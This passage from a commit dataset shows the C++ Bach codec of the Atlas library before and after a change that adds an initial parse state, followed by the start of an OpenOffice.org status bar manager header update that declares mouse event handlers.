(next)\n    {\n    case '-':\n    case '1':\n    case '2':\n    case '3':\n    case '4':\n    case '5':\n    case '6':\n    case '7':\n    case '8':\n    case '9':\n    case '0':\n        m_socket.putback(next);\n        m_state.pop();\n        m_state.push(PARSE_FLOAT);\n        break;\n\n    case '{':\n        m_state.pop();\n        m_state.push(PARSE_MAP);\n        m_state.push(PARSE_NAME);\n        m_state.push(PARSE_DATA);\n        break;\n\n    case '[':\n        m_state.pop();\n        m_state.push(PARSE_LIST);\n        m_state.push(PARSE_DATA);\n        break;\n\n    case '\\\"':\n        m_state.pop();\n        m_state.push(PARSE_STRING);\n        break;\n\n    case ',':\n        break;\n\n    default:\n        cout << \"parseData: unexpected character: \" << next << endl;\n        break;\n    }\n}\n\nvoid Bach::parseName(char next)\n{\n    cout << \"parseName\" << endl;\n\n    switch (next)\n    {\n    case ':':\n        cout << \"Name: \" << m_name << endl;\n        m_state.pop();\n\tbreak;\n\n\/*\n    case '[':\n    case ']':\n    case '(':\n    case ')':\n    case ',':\n        \/\/ FIXME signal error here\n        \/\/ unexpected character\n\tbreak;\n*\/\n\n    default:\n        if (((next>='a')&&(next<='z'))||\n            ((next>='A')&&(next<='Z'))||\n            ((next>='0')&&(next<='9')))\n        {\n            m_name += next;\n        }\n        else\n        {\n            cout << \"parseName: unexpected character: \" << next << endl;\n            \/\/ FIXME signal error here\n            \/\/ unexpected character\n        }\n\tbreak;\n    }\n}\n\nvoid Bach::poll(bool can_read)\n{\n    if (!can_read) return;\n    do\n    {\n\tchar next = (char) m_socket.get();\n\n        cout << \"Character: \" << next << \"   \";\n\n        switch (m_state.top())\n\t{\n        case PARSE_STREAM:     parseStream(next); break;\n        case PARSE_MAP:        parseMap(next); break;\n        case PARSE_LIST:       parseList(next); break;\n        case PARSE_MAP_BEGIN:  parseMapBegin(next); break;\n        case PARSE_LIST_BEGIN: parseListBegin(next); break;\n        case PARSE_DATA:       parseData(next); break;\n        case PARSE_INT:\t       parseInt(next); break;\n        case PARSE_FLOAT:      parseFloat(next); break;\n        case PARSE_STRING:     parseString(next); break;\n        case PARSE_NAME:       parseName(next); break;\n\t}\n    }\n    while (m_socket.rdbuf()->in_avail());\n}\n\nconst std::string Bach::decodeString(std::string toDecode)\n{\n    unsigned int pos;\n\n\/\/    while((pos = toDecode.find( \"\\\\\\\"\" )) >= 0)\n\/\/          toDecode.replace(pos, 2, \"\\\"\");\n\n\/\/    while((pos = toDecode.find( \"\\\\\\\\\")) >= 0)\n\/\/          toDecode.replace(pos, 2, \"\\\\\");\n\n    return toDecode;\n}\n\nconst std::string Bach::encodeString(std::string toEncode)\n{\n    int pos;\n\n    while ((pos = toEncode.find ( '\\\\' )) >= 0)\n\ttoEncode.replace( pos, 1, \"\\\\\\\\\" );\n\n    while ((pos = toEncode.find ( '\\\"' )) >= 0)\n\ttoEncode.replace( pos, 1, \"\\\\\\\"\" );\n\n    return toEncode;\n}\n\nvoid Bach::writeItem(std::string name, long data)\n{\n    if( m_comma )\n\tm_socket << \",\";\n\n    if( name != \"\" )\n\tm_socket << name << \":\";\n\n    m_socket << data;\n}\n\nvoid Bach::writeItem(std::string name, double data)\n{\n    if( m_comma )\n\tm_socket << \",\";\n\n    if( name != \"\" )\n\tm_socket << name << \":\";\n\n    m_socket << data;\n}\n\nvoid Bach::writeItem(std::string name, std::string data)\n{\n    if( m_comma )\n\tm_socket << \",\";\n\n    if( name != \"\" )\n\tm_socket << name << \":\";\n\n    m_socket << \"\\\"\" << encodeString( data ) << \"\\\"\";\n}\n\nvoid Bach::writeLine(std::string line, bool endline, bool endtag)\n{\n    if (m_comma && !endtag)\n\tm_socket << \",\";\n\n    m_socket << line;\n}\n\nvoid Bach::streamBegin()\n{\n    writeLine( \"[\" );\n    m_comma = false;\n}\n\nvoid Bach::streamEnd()\n{\n    writeLine( \"]\", true, true );\n}\n\nvoid Bach::streamMessage(const Map&)\n{\n    writeLine( \"{\" );\n    m_comma = false;\n}\n\nvoid Bach::mapItem(const std::string& name, const Map&)\n{\n    writeLine( name + \":{\" );\n    m_comma = false;\n}\n\nvoid Bach::mapItem(const std::string& name, const List&)\n{\n    writeLine( name + \":[\" );\n    m_comma = false;\n}\n\nvoid Bach::mapItem(const std::string& name, long data)\n{\n    writeItem( name, data );\n    m_comma = true;\n}\n\nvoid Bach::mapItem(const std::string& name, double data)\n{\n    writeItem( name, data );\n    m_comma = true;\n}\n\nvoid Bach::mapItem(const std::string& name, const std::string& data)\n{\n    writeItem( name, data );\n    m_comma = true;\n}\n\nvoid Bach::mapEnd()\n{\n    writeLine( \"}\", true, true );\n    m_comma = true;\n}\n\nvoid Bach::listItem(const Map&)\n{\n    writeLine( \"{\" );\n    m_comma = false;\n}\n\nvoid Bach::listItem(const List&)\n{\n    writeLine( \"[\" );\n    m_comma = false;\n}\n\nvoid Bach::listItem(long data)\n{\n    writeItem( \"\", data );\n    m_comma = true;\n}\n\nvoid Bach::listItem(double data)\n{\n    writeItem( \"\", data );\n    m_comma = true;\n}\n\nvoid Bach::listItem(const std::string& data)\n{\n    writeItem( \"\", data );\n    m_comma = true;\n}\n\nvoid Bach::listEnd()\n{\n    writeLine( \"]\", true, true );\n    m_comma = true;\n}\n\n} } \/\/namespace Atlas::Codecs\n<commit_msg>another step on the ladder to a working codec<commit_after>\/\/ This file may be redistributed and modified under the terms of the\n\/\/ GNU Lesser General Public License (See COPYING for details).\n\/\/ Copyright (C) 2002 Michael Koch <konqueror@gmx.de>\n\n#include \"Bach.h\"\n\nnamespace Atlas { namespace Codecs {\n\nBach::Bach(std::iostream& s, Atlas::Bridge* b)\n    : m_socket(s)\n    , m_bridge(b)\n    , m_comma( false )\n{\n    m_state.push(PARSE_INIT);\n}\n\nvoid Bach::parseInit(char next)\n{\n    cout << \"parseInit\" << endl;\n\n    if (next=='{')\n    {\n        m_bridge->streamBegin();\n        m_socket.putback(next);\n        m_state.push(PARSE_STREAM);\n    }\n}\n\nvoid Bach::parseStream(char next)\n{\n    cout << \"parseStream\" << endl;\n\n    switch (next)\n    {\n    case '{':\n        m_bridge->streamMessage(m_mapBegin);\n        m_state.push(PARSE_MAP);\n        break;\n\n    case ',':\n        break;\n\n    case ']':\n        m_bridge->streamEnd();\n        break;\n\n    default:\n        cout << \"parseStream: unexpected character : \" << next << endl;\n        \/\/ FIXME signal error here\n        \/\/ unexpected character\n        break;\n    }\n}\n\nvoid Bach::parseMap(char next)\n{\n    cout << \"parseMap\" << endl;\n\n    switch (next)\n    {\n    case '}':\n        m_bridge->mapEnd();\n        m_state.pop();\n        break;\n\n    case '{':\n        m_state.push(PARSE_MAP);\n        m_state.push(PARSE_MAP_BEGIN);\n        m_state.push(PARSE_DATA);\n        m_state.push(PARSE_NAME);\n        break;\n\n    case '[':\n        m_state.push(PARSE_LIST);\n        m_state.push(PARSE_LIST_BEGIN);\n        m_state.push(PARSE_DATA);\n        m_state.push(PARSE_NAME);\n        break;\n\n    case ',':\n        break;\n\n    default:\n        if (((next>='a')&&(next<='z'))||\n            ((next>='A')&&(next<='Z')))\n        {\n            m_socket.putback(next);\n            m_state.push(PARSE_DATA);\n            m_state.push(PARSE_NAME);\n        }\n        else\n        {\n            cout << \"parseMap: unexpected character: \" << next << endl;\n            \/\/ FIXME signal error here\n            \/\/ unexpected character\n        }\n        break;\n    }\n}\n\nvoid Bach::parseList(char next)\n{\n    cout << \"parseList\" << endl;\n\n    switch (next)\n    {\n    case ']':\n        m_bridge->listEnd();\n        m_state.pop();\n        break;\n\n    case '{':\n        m_bridge->listItem(m_mapBegin);\n        m_state.push(PARSE_MAP);\n        m_state.push(PARSE_NAME);\n        m_state.push(PARSE_DATA);\n        break;\n\n    case '[':\n        m_bridge->listItem(m_listBegin);\n        m_state.push(PARSE_LIST);\n        m_state.push(PARSE_DATA);\n        break;\n\n    case '1':\n    case '2':\n    case '3':\n    case '4':\n    case '5':\n    case '6':\n    case '7':\n    case '8':\n    case '9':\n    case '0':\n    case '-':\n        m_state.push(PARSE_FLOAT);\n        m_socket.putback(next);\n        break;\n\n    default:\n        cout << \"parseMap: unexpected character: \" << next << endl;\n        \/\/ FIXME signal error here\n        \/\/ unexpected character\n        break;\n    }\n}\n\nvoid Bach::parseMapBegin(char next)\n{\n    cout << \"parseMapBegin\" << endl;\n\n    m_bridge->mapItem(decodeString(m_name), m_mapBegin);\n    m_socket.putback(next);\n    m_state.pop();\n    m_name.erase();\n}\n\nvoid Bach::parseListBegin(char next)\n{\n    cout << \"parseListBegin\" << endl;\n\n    m_bridge->mapItem(decodeString(m_name), m_listBegin);\n    m_socket.putback(next);\n    m_state.pop();\n    m_name.erase();\n}\n\nvoid Bach::parseInt(char next)\n{\n    cout << \"parseInt\" << endl;\n}\n\nvoid Bach::parseFloat(char next)\n{\n    cout << \"parseFloat\" << endl;\n\n    switch (next)\n    {\n    case '[':\n    case ']':\n    case '(':\n    case ')':\n    case ',':\n        m_socket.putback(next);\n        m_state.pop();\n        if (m_state.top() == PARSE_MAP)\n        {\n            cout << \"Float: \" << m_data << endl;\n\n            m_bridge->mapItem(decodeString(m_name), atof(m_data.c_str()));\n            m_name.erase();\n        }\n        else if (m_state.top() == PARSE_LIST)\n        {\n            cout << \"Float: \" << m_data << endl;\n\n            m_bridge->listItem(atof(m_data.c_str()));\n        }\n        else\n        {\n            cout << \"Bach::parseFloat: Error: \" << m_state.top() << endl;\n            \/\/ FIXME some kind of sanity checking assertion here\n        }\n        m_data.erase();\n\tbreak;\n\n    case '0':\n    case '1':\n    case '2':\n    case '3':\n    case '4':\n    case '5':\n    case '6':\n    case '7':\n    case '8':\n    case '9':\n    case '.':\n    case '-':\n    case '+':\n    case 'e':\n    case 'E':\n        m_data += next;\n\tbreak;\n\n    default:\n        cout << \"parseFloat: unexpected character: \" << next << endl;\n        \/\/ FIXME signal error here\n        \/\/ unexpected character\n\tbreak;\n    }\n}\n\nvoid Bach::parseString(char next)\n{\n    cout << \"parseString\" << endl;\n\n    switch (next)\n    {\n    case '\\\"':\n        m_state.pop();\n        if (m_state.top() == PARSE_MAP)\n        {\n            cout << \"String: \" << m_data << endl;\n\n            m_bridge->mapItem(decodeString(m_name), decodeString(m_data));\n            m_name.erase();\n        }\n        else if (m_state.top() == PARSE_LIST)\n        {\n            cout << \"String: \" << m_data << endl;\n\n            m_bridge->listItem(decodeString(m_data));\n        }\n        else\n        {\n            \/\/ FIXME some kind of sanity checking assertion here\n        }\n        m_data.erase();\n        break;\n\n\/*\n    case '\\\\':\n        \/\/ FIXME escape signs\n        break;\n*\/\n\n    default:\n        m_data += next;\n        break;\n    }\n}\n\nvoid Bach::parseData(char next)\n{\n    cout << \"parseData\" << endl;\n\n    switch (next)\n    {\n    case '-':\n    case '1':\n    case '2':\n    case '3':\n    case '4':\n    case '5':\n    case '6':\n    case '7':\n    case '8':\n    case '9':\n    case '0':\n        m_socket.putback(next);\n        m_state.pop();\n        m_state.push(PARSE_FLOAT);\n        break;\n\n    case '{':\n        m_state.pop();\n        m_state.push(PARSE_MAP);\n        m_state.push(PARSE_NAME);\n        m_state.push(PARSE_DATA);\n        break;\n\n    case '[':\n        m_state.pop();\n        m_state.push(PARSE_LIST);\n        m_state.push(PARSE_DATA);\n        break;\n\n    case '\\\"':\n        m_state.pop();\n        m_state.push(PARSE_STRING);\n        break;\n\n    case ',':\n        break;\n\n    default:\n        cout << \"parseData: unexpected character: \" << next << endl;\n        break;\n    }\n}\n\nvoid Bach::parseName(char next)\n{\n    cout << \"parseName\" << endl;\n\n    switch (next)\n    {\n    case ':':\n        cout << \"Name: \" << m_name << endl;\n        m_state.pop();\n\tbreak;\n\n\/*\n    case '[':\n    case ']':\n    case '(':\n    case ')':\n    case ',':\n        \/\/ FIXME signal error here\n        \/\/ unexpected character\n\tbreak;\n*\/\n\n    default:\n        if (((next>='a')&&(next<='z'))||\n            ((next>='A')&&(next<='Z'))||\n            ((next>='0')&&(next<='9')))\n        {\n            m_name += next;\n        }\n        else\n        {\n            cout << \"parseName: unexpected character: \" << next << endl;\n            \/\/ FIXME signal error here\n            \/\/ unexpected character\n        }\n\tbreak;\n    }\n}\n\nvoid Bach::poll(bool can_read)\n{\n    if (!can_read) return;\n    do\n    {\n\tchar next = (char) m_socket.get();\n\n        cout << \"Character: \" << next << \"   \";\n\n        switch (m_state.top())\n\t{\n        case PARSE_INIT:       parseInit(next); break;\n        case PARSE_STREAM:     parseStream(next); break;\n        case PARSE_MAP:        parseMap(next); break;\n        case PARSE_LIST:       parseList(next); break;\n        case PARSE_MAP_BEGIN:  parseMapBegin(next); break;\n        case PARSE_LIST_BEGIN: parseListBegin(next); break;\n        case PARSE_DATA:       parseData(next); break;\n        case PARSE_INT:\t       parseInt(next); break;\n        case PARSE_FLOAT:      parseFloat(next); break;\n        case PARSE_STRING:     parseString(next); break;\n        case PARSE_NAME:       parseName(next); break;\n\t}\n    }\n    while (m_socket.rdbuf()->in_avail());\n}\n\nconst std::string Bach::decodeString(std::string toDecode)\n{\n    unsigned int pos;\n\n\/\/    while((pos = toDecode.find( \"\\\\\\\"\" )) >= 0)\n\/\/          toDecode.replace(pos, 2, \"\\\"\");\n\n\/\/    while((pos = toDecode.find( \"\\\\\\\\\")) >= 0)\n\/\/          toDecode.replace(pos, 2, \"\\\\\");\n\n    return toDecode;\n}\n\nconst std::string Bach::encodeString(std::string toEncode)\n{\n    int pos;\n\n    while ((pos = toEncode.find ( '\\\\' )) >= 0)\n\ttoEncode.replace( pos, 1, \"\\\\\\\\\" );\n\n    while ((pos = toEncode.find ( '\\\"' )) >= 0)\n\ttoEncode.replace( pos, 1, \"\\\\\\\"\" );\n\n    return toEncode;\n}\n\nvoid Bach::writeItem(std::string name, long data)\n{\n    if( m_comma )\n\tm_socket << \",\";\n\n    if( name != \"\" )\n\tm_socket << name << \":\";\n\n    m_socket << data;\n}\n\nvoid Bach::writeItem(std::string name, double data)\n{\n    if( m_comma )\n\tm_socket << \",\";\n\n    if( name != \"\" )\n\tm_socket << name << \":\";\n\n    m_socket << data;\n}\n\nvoid Bach::writeItem(std::string name, std::string data)\n{\n    if( m_comma )\n\tm_socket << \",\";\n\n    if( name != \"\" )\n\tm_socket << name << \":\";\n\n    m_socket << \"\\\"\" << encodeString( data ) << \"\\\"\";\n}\n\nvoid Bach::writeLine(std::string line, bool endline, bool endtag)\n{\n    if (m_comma && !endtag)\n\tm_socket << \",\";\n\n    m_socket << line;\n}\n\nvoid Bach::streamBegin()\n{\n    writeLine( \"[\" );\n    m_comma = false;\n}\n\nvoid Bach::streamEnd()\n{\n    writeLine( \"]\", true, true );\n}\n\nvoid Bach::streamMessage(const Map&)\n{\n    writeLine( \"{\" );\n    m_comma = false;\n}\n\nvoid Bach::mapItem(const std::string& name, const Map&)\n{\n    writeLine( name + \":{\" );\n    m_comma = false;\n}\n\nvoid Bach::mapItem(const std::string& name, const List&)\n{\n    writeLine( name + \":[\" );\n    m_comma = false;\n}\n\nvoid Bach::mapItem(const std::string& name, long data)\n{\n    writeItem( name, data );\n    m_comma = true;\n}\n\nvoid Bach::mapItem(const std::string& name, double data)\n{\n    writeItem( name, data );\n    m_comma = true;\n}\n\nvoid Bach::mapItem(const std::string& name, const std::string& data)\n{\n    writeItem( name, data );\n    m_comma = true;\n}\n\nvoid Bach::mapEnd()\n{\n    writeLine( \"}\", true, true );\n    m_comma = true;\n}\n\nvoid Bach::listItem(const Map&)\n{\n    writeLine( \"{\" );\n    m_comma = false;\n}\n\nvoid Bach::listItem(const List&)\n{\n    writeLine( \"[\" );\n    m_comma = false;\n}\n\nvoid Bach::listItem(long data)\n{\n    writeItem( \"\", data );\n    m_comma = true;\n}\n\nvoid Bach::listItem(double data)\n{\n    writeItem( \"\", data );\n    m_comma = true;\n}\n\nvoid Bach::listItem(const std::string& data)\n{\n    writeItem( \"\", data );\n    m_comma = true;\n}\n\nvoid Bach::listEnd()\n{\n    writeLine( \"]\", true, true );\n    m_comma = true;\n}\n\n} } \/\/namespace Atlas::Codecs\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: statusbarmanager.hxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: hr $ $Date: 2006-06-19 11:05:37 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef __FRAMEWORK_UIELEMENT_STATUSBARMANAGER_HXX_\n#define __FRAMEWORK_UIELEMENT_STATUSBARMANAGER_HXX_\n\n\/\/_________________________________________________________________________________________________________________\n\/\/  my own includes\n\/\/_________________________________________________________________________________________________________________\n\n#ifndef __FRAMEWORK_THREADHELP_THREADHELPBASE_HXX_\n#include <threadhelp\/threadhelpbase.hxx>\n#endif\n#ifndef __FRAMEWORK_MACROS_GENERIC_HXX_\n#include <macros\/generic.hxx>\n#endif\n#ifndef __FRAMEWORK_MACROS_XINTERFACE_HXX_\n#include <macros\/xinterface.hxx>\n#endif\n#ifndef __FRAMEWORK_MACROS_XTYPEPROVIDER_HXX_\n#include <macros\/xtypeprovider.hxx>\n#endif\n#ifndef __FRAMEWORK_STDTYPES_H_\n#include <stdtypes.h>\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/  interface includes\n\/\/_________________________________________________________________________________________________________________\n\n#ifndef _COM_SUN_STAR_FRAME_XFRAME_HPP_\n#include <com\/sun\/star\/frame\/XFrame.hpp>\n#endif\n#ifndef _COM_SUN_STAR_FRAME_XSTATUSLISTENER_HPP_\n#include <com\/sun\/star\/frame\/XStatusListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_FRAME_XUICONTROLLERREGISTRATION_HPP_\n#include <com\/sun\/star\/frame\/XUIControllerRegistration.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UI_XUICONFIGURATION_HPP_\n#include <com\/sun\/star\/ui\/XUIConfiguration.hpp>\n#endif\n#ifndef _COM_SUN_STAR_FRAME_XMODULEMANAGER_HPP_\n#include <com\/sun\/star\/frame\/XModuleManager.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_CONTAINER_XNAMEACCESS_HPP_\n#include <com\/sun\/star\/container\/XNameAccess.hpp>\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/  other includes\n\/\/_________________________________________________________________________________________________________________\n\n#ifndef _RTL_USTRING_\n#include <rtl\/ustring.hxx>\n#endif\n#ifndef _CPPUHELPER_WEAK_HXX_\n#include <cppuhelper\/weak.hxx>\n#endif\n#ifndef _CPPUHELPER_INTERFACECONTAINER_HXX_\n#include <cppuhelper\/interfacecontainer.hxx>\n#endif\n#include <vcl\/status.hxx>\n\nnamespace framework\n{\n\nclass FrameworkStatusBar;\nclass StatusBarManager : public ::com::sun::star::frame::XFrameActionListener         ,\n                         public ::com::sun::star::lang::XComponent                    ,\n                         public ::com::sun::star::lang::XTypeProvider                 ,\n                         public ::com::sun::star::ui::XUIConfigurationListener,\n                         public ThreadHelpBase                                        ,\n                         public ::cppu::OWeakObject\n{\n    friend class FrameworkStatusBar;\n\n    public:\n        StatusBarManager( const com::sun::star::uno::Reference< com::sun::star::lang::XMultiServiceFactory >& rServicveManager,\n                          const com::sun::star::uno::Reference< com::sun::star::frame::XFrame >& rFrame,\n                          const rtl::OUString& rResourceName,\n                          StatusBar* pStatusBar );\n        virtual ~StatusBarManager();\n\n        \/\/  XInterface, XTypeProvider, XServiceInfo\n        FWK_DECLARE_XINTERFACE\n        FWK_DECLARE_XTYPEPROVIDER\n\n        StatusBar* GetStatusBar() const;\n\n        \/\/ XFrameActionListener\n        virtual void SAL_CALL frameAction( const com::sun::star::frame::FrameActionEvent& Action ) throw ( ::com::sun::star::uno::RuntimeException );\n\n        \/\/ XEventListener\n        virtual void SAL_CALL disposing( const com::sun::star::lang::EventObject& Source ) throw ( ::com::sun::star::uno::RuntimeException );\n\n        \/\/ XUIConfigurationListener\n        virtual void SAL_CALL elementInserted( const ::com::sun::star::ui::ConfigurationEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n        virtual void SAL_CALL elementRemoved( const ::com::sun::star::ui::ConfigurationEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n        virtual void SAL_CALL elementReplaced( const ::com::sun::star::ui::ConfigurationEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n\n        \/\/ XComponent\n        void SAL_CALL dispose() throw ( ::com::sun::star::uno::RuntimeException );\n        void SAL_CALL addEventListener( const com::sun::star::uno::Reference< XEventListener >& xListener ) throw( com::sun::star::uno::RuntimeException );\n        void SAL_CALL removeEventListener( const com::sun::star::uno::Reference< XEventListener >& xListener ) throw( com::sun::star::uno::RuntimeException );\n\n        void FillStatusBar( const ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexAccess >& rStatusBarData );\n\n    protected:\n        void StateChanged( StateChangedType nType );\n        void DataChanged( const DataChangedEvent& rDCEvt );\n        void UserDraw( const UserDrawEvent& rUDEvt );\n        void Command( const CommandEvent& rEvt );\n        DECL_LINK( Click, StatusBar* );\n        DECL_LINK( DoubleClick, StatusBar* );\n\n        void RemoveControllers();\n        rtl::OUString RetrieveLabelFromCommand( const rtl::OUString& aCmdURL );\n        void CreateControllers();\n        void UpdateControllers();\n        void AddFrameActionListener();\n\n    protected:\n        typedef std::vector< ::com::sun::star::uno::Reference< com::sun::star::frame::XStatusListener > > StatusBarControllerVector;\n\n        sal_Bool                                                                                        m_bDisposed : 1,\n                                                                                                        m_bModuleIdentified : 1,\n                                                                                                        m_bFrameActionRegistered : 1,\n                                                                                                        m_bUpdateControllers : 1;\n        StatusBar*                                                                                      m_pStatusBar;\n        rtl::OUString                                                                                   m_aModuleIdentifier;\n        rtl::OUString                                                                                   m_aResourceName;\n        com::sun::star::uno::Reference< com::sun::star::frame::XFrame >                                 m_xFrame;\n        com::sun::star::uno::Reference< com::sun::star::container::XNameAccess >                        m_xUICommandLabels;\n        StatusBarControllerVector                                                                       m_aControllerVector;\n        ::cppu::OMultiTypeInterfaceContainerHelper                                                      m_aListenerContainer;   \/\/\/ container for ALL Listener\n        ::com::sun::star::uno::Reference< com::sun::star::lang::XMultiServiceFactory >                  m_xServiceManager;\n        ::com::sun::star::uno::Reference< ::com::sun::star::frame::XUIControllerRegistration >  m_xStatusbarControllerRegistration;\n};\n\n}\n\n#endif \/\/ __FRAMEWORK_UIELEMENT_STATUSBARMANAGER_HXX_\n<commit_msg>INTEGRATION: CWS pages01_DEV300 (1.6.260); FILE MERGED 2007\/12\/10 08:18:57 fme 1.6.260.1: #i84413# SfxStatusBarControl::mouseButtonDown not called<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: statusbarmanager.hxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: kz $ $Date: 2008-03-07 14:32:01 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef __FRAMEWORK_UIELEMENT_STATUSBARMANAGER_HXX_\n#define __FRAMEWORK_UIELEMENT_STATUSBARMANAGER_HXX_\n\n\/\/_________________________________________________________________________________________________________________\n\/\/  my own includes\n\/\/_________________________________________________________________________________________________________________\n\n#ifndef __FRAMEWORK_THREADHELP_THREADHELPBASE_HXX_\n#include <threadhelp\/threadhelpbase.hxx>\n#endif\n#ifndef __FRAMEWORK_MACROS_GENERIC_HXX_\n#include <macros\/generic.hxx>\n#endif\n#ifndef __FRAMEWORK_MACROS_XINTERFACE_HXX_\n#include <macros\/xinterface.hxx>\n#endif\n#ifndef __FRAMEWORK_MACROS_XTYPEPROVIDER_HXX_\n#include <macros\/xtypeprovider.hxx>\n#endif\n#ifndef __FRAMEWORK_STDTYPES_H_\n#include <stdtypes.h>\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/  interface includes\n\/\/_________________________________________________________________________________________________________________\n\n#ifndef _COM_SUN_STAR_FRAME_XFRAME_HPP_\n#include <com\/sun\/star\/frame\/XFrame.hpp>\n#endif\n#ifndef _COM_SUN_STAR_FRAME_XSTATUSLISTENER_HPP_\n#include <com\/sun\/star\/frame\/XStatusListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_FRAME_XUICONTROLLERREGISTRATION_HPP_\n#include <com\/sun\/star\/frame\/XUIControllerRegistration.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UI_XUICONFIGURATION_HPP_\n#include <com\/sun\/star\/ui\/XUIConfiguration.hpp>\n#endif\n#ifndef _COM_SUN_STAR_FRAME_XMODULEMANAGER_HPP_\n#include <com\/sun\/star\/frame\/XModuleManager.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_CONTAINER_XNAMEACCESS_HPP_\n#include <com\/sun\/star\/container\/XNameAccess.hpp>\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/  other includes\n\/\/_________________________________________________________________________________________________________________\n\n#ifndef _RTL_USTRING_\n#include <rtl\/ustring.hxx>\n#endif\n#ifndef _CPPUHELPER_WEAK_HXX_\n#include <cppuhelper\/weak.hxx>\n#endif\n#ifndef _CPPUHELPER_INTERFACECONTAINER_HXX_\n#include <cppuhelper\/interfacecontainer.hxx>\n#endif\n#include <vcl\/status.hxx>\n\nnamespace framework\n{\n\nclass FrameworkStatusBar;\nclass StatusBarManager : public ::com::sun::star::frame::XFrameActionListener         ,\n                         public ::com::sun::star::lang::XComponent                    ,\n                         public ::com::sun::star::lang::XTypeProvider                 ,\n                         public ::com::sun::star::ui::XUIConfigurationListener,\n                         public ThreadHelpBase                                        ,\n                         public ::cppu::OWeakObject\n{\n    friend class FrameworkStatusBar;\n\n    public:\n        StatusBarManager( const com::sun::star::uno::Reference< com::sun::star::lang::XMultiServiceFactory >& rServicveManager,\n                          const com::sun::star::uno::Reference< com::sun::star::frame::XFrame >& rFrame,\n                          const rtl::OUString& rResourceName,\n                          StatusBar* pStatusBar );\n        virtual ~StatusBarManager();\n\n        \/\/  XInterface, XTypeProvider, XServiceInfo\n        FWK_DECLARE_XINTERFACE\n        FWK_DECLARE_XTYPEPROVIDER\n\n        StatusBar* GetStatusBar() const;\n\n        \/\/ XFrameActionListener\n        virtual void SAL_CALL frameAction( const com::sun::star::frame::FrameActionEvent& Action ) throw ( ::com::sun::star::uno::RuntimeException );\n\n        \/\/ XEventListener\n        virtual void SAL_CALL disposing( const com::sun::star::lang::EventObject& Source ) throw ( ::com::sun::star::uno::RuntimeException );\n\n        \/\/ XUIConfigurationListener\n        virtual void SAL_CALL elementInserted( const ::com::sun::star::ui::ConfigurationEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n        virtual void SAL_CALL elementRemoved( const ::com::sun::star::ui::ConfigurationEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n        virtual void SAL_CALL elementReplaced( const ::com::sun::star::ui::ConfigurationEvent& Event ) throw (::com::sun::star::uno::RuntimeException);\n\n        \/\/ XComponent\n        void SAL_CALL dispose() throw ( ::com::sun::star::uno::RuntimeException );\n        void SAL_CALL addEventListener( const com::sun::star::uno::Reference< XEventListener >& xListener ) throw( com::sun::star::uno::RuntimeException );\n        void SAL_CALL removeEventListener( const com::sun::star::uno::Reference< XEventListener >& xListener ) throw( com::sun::star::uno::RuntimeException );\n\n        void FillStatusBar( const ::com::sun::star::uno::Reference< ::com::sun::star::container::XIndexAccess >& rStatusBarData );\n\n    protected:\n        void StateChanged( StateChangedType nType );\n        void DataChanged( const DataChangedEvent& rDCEvt );\n        void UserDraw( const UserDrawEvent& rUDEvt );\n        void Command( const CommandEvent& rEvt );\n        void MouseMove( const MouseEvent& rMEvt );\n        void MouseButtonDown( const MouseEvent& rMEvt );\n        void MouseButtonUp( const MouseEvent& rMEvt );\n        DECL_LINK( Click, StatusBar* );\n        DECL_LINK( DoubleClick, StatusBar* );\n\n        void RemoveControllers();\n        rtl::OUString 